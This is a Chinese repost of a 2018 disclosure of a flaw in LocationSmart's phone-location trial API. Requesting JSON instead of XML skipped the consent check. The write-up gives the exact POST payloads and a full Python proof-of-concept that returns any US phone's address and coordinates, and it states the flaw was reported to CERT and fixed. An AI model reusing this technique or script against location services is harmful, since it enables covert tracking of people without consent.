我发现了一个漏洞，能够获取附近几百米之内任何手机的实时位置！

2018-05-22 本文已影响1118人极小光

我代表原作者，Robertxiao。

5 月 16 日，我发现了 LocationSmart 网站的一个漏洞，无需身份验证或者同意，任何人都可以获取到美国几百米内的任何手机的实时定位。我会介绍一下如何发现漏洞以及漏洞的技术细节。

介绍

LocationSmart 是一家手机定位追踪服务，最近有新闻报道[1][2]，它向第三方 Securus 出售地理位置信息，Securus 因为不正当使用信息而官司缠身。LocationSmart 通过和各种电信公司如 Verizon、At&t、T-Mobile、Sprint、加拿大的 bell、Rogers Telus 等合作，通过三角定位获取用户实时位置。请注意，无论用户是否同意了开启地理位置信息，LocationSmart 都可以获取到用户的位置，用户根本没有选择权。

背景

LocationSmart 提供了一个试用网页 https://www.locationsmart.com/try/，任何人都可以输入电话号码，手机点击同意，就可以在网页上看这台手机的位置了。

在选择跟踪我的手机之后，该页面会向https://www.locationsmart.com/try/api/ 发送个 POST 请求，并且使用一下有效的内容（这里用 8005551212 这个号码代替我的电话号码）：

requestdata={"deviceType":"Wireless","deviceID":"8005551212","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json

如果电话号码有效则回复：

{"uid":"REDACTED",
"requestTime":"2018-05-16T21:25:50.689+00:00",
"statusCode":0,
"statusMsg":"Success",
"deviceId":"8005551212",
"token":"TOKEN",
"locatable":"True",
"network":{"carrier":"T-Mobile","locatable":"True","callType":"wireless","locAccuracySupport":"Precise Possible","nationalNumber":"8005551212","countryCode":"1","regionCode":"US","regionCountry":"UNITED STATES"},
"subscriptionGroup":[{"name":"LOCA-D01-LOCNOPIN","locatable":"False","smsAvailable":"False"},{"name":"LOCA-D02-WELCOME","locatable":"False","smsAvailable":"False"}],
"smsAvailable":"True",
"privacyConsentRequired":"True",
"clientLocatable":"false",
"clientSMSAvailable":"Not supported",
"whiteListed":"false"}

（有些字段已匿名）Token 是个 12 字节的值，使用经过修改的 Base64 版本解码来实现纳米级时间的传输。

该网页然后重复 POST 到具有以下有效载荷的相同端点：

requestdata={"subscriptionAction":"status","tn":"8005551212","carrierReq":"true"}&requesttype=subscriptionreq

并且会接受如下格式的 XML 负载：

等待subscriptionOptInState变为approved，然后对具有以下有效负载的相同端点发出最终的 POST 请求：

requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq

这会回复一个包含目标设备位置的 XML 负载。请注意，token作为唯一标识符在这个 request 中是不同的，它与从statusreq请求中获取的令牌相同。

如果你向没有同意展示地址信息的手机发送 POST 请求，你会得到如下结果：

漏洞

只需要向requesttype=locreq.json 提出同样 request，就能获得完整数据位置而无需目标手机同意。这是一个我能获取任何人数据位置的秘密。从本质上，他通过 JSON 格式请求位置数据，而不是默认的 XML 格式，出于某种原因，这样可以越过「同意」直接检查数据。

具体的操作如下：

1.通过 POST：

requestdata={"deviceType":"Wireless","deviceID":"NUMBER","devicedetails":"true","carrierReq":"true"}&requesttype=statusreq.json

获取一个 token。

2.通过 POST：

requestdata={"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":"TOKEN","locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"False","carrierReq":"true"}&requesttype=locreq.json

等几秒获取地址

这就是全部破解过程，不需要任何同意，就可以定位任何电话。

我为了证明这个可行，构建了一个 Python 脚本：

#!/usr/bin/env python3 
import requests 
import json 
import sys 
import webbrowser 

if len(sys.argv) >= 2:
 phone = sys.argv[1]
else:
 phone = input("Phone number? ")

headers = {
 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:60.0) Gecko/20100101 Firefox/60.0',
 'DNT': '1'
}

r1 = requests.post('https://www.locationsmart.com/try/api/',
 headers=headers,
 data={
 'requestdata': json.dumps({"deviceType":"Wireless","deviceID":phone,"devicedetails":"true","carrierReq":"true"}),
 'requesttype': 'statusreq.json'
 }
)

data = r1.json()

r2 = requests.post('https://www.locationsmart.com/try/api/',
 headers=headers,
 data={
 'requestdata': json.dumps({"civicAddressReq":"True","geoAddressReq":"True","extAddressReq":"True","nearbyPoiReq":"True","privacyConsent":"True","token":data['token'],"locationtype":"network","accuracyReq":"Coarse","tnDetailReq":"true","carrierReq":"true"}),
 'requesttype': 'locreq.json'
 }
)

data2 = r2.json()

if 'civicAddress' in data2:
 print('{phone}: near {streetAddress}, {city}, {state} {zip}'.format(phone=phone, **data2['civicAddress']))

if 'geoAddress' in data2:
 url = 'http://localhost:8000/location.html?lat={coordinates[1]}&lng={coordinates[0]}&acc={accuracy}'.format(**data2['geoAddress'])
 webbrowser.open_new_tab(url)

这个脚本会弹出一个简单的 HTML 页面，可以绘制出目标电话的坐标。

注意！我已经联系美国 CERT 披露了这个严重的漏洞，今天上午该漏洞已被修复。

注释：

英文原文：LocationSmart API Vulnerability

@园长：漏洞的破解难度很低，能发现也挺偶然的，幸好作者投诉了该漏洞，要不然被恶意使用后果不堪设想。另外这个地理位置信息是通过电信运营商获取到的，我觉得国内......

我发现了一个漏洞，能够获取附近几百米之内任何手机的实时位置！

介绍

背景

漏洞

猜你喜欢

热点阅读